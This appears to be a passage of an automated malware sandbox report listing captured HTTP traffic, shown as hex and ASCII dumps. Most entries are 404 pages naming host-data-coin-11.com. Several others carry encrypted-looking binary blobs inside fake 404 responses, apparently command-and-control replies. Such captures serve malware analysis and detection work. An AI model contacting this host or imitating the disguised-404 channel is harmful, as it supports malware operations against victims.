Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df b7 82 16 95 2d ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%-0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 35 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e9 a1 88 70 bc 57 dd 43 d7 fd 24 84 27 ed c3 97 55 2a f8 e3 00 7e 0d 0a 30 0d 0a 0d 0a Data Ascii: 45I:82OR&:UPJ%9FpWC$'U*~0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df 94 85 29 87 13 c7 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%)0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 32 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 85 4f 13 25 1e e9 e9 df 94 85 29 87 13 c7 0d 0a 30 0d 0a 0d 0a Data Ascii: 22I:82OO%)0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b4 9f 42 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%B0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 74 5e a5 55 eb c4 66 e4 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevt^UfdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:44 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 06 0f bb 35 dc fe 66 b1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTev5fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 04 Jan 2022 18:33:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
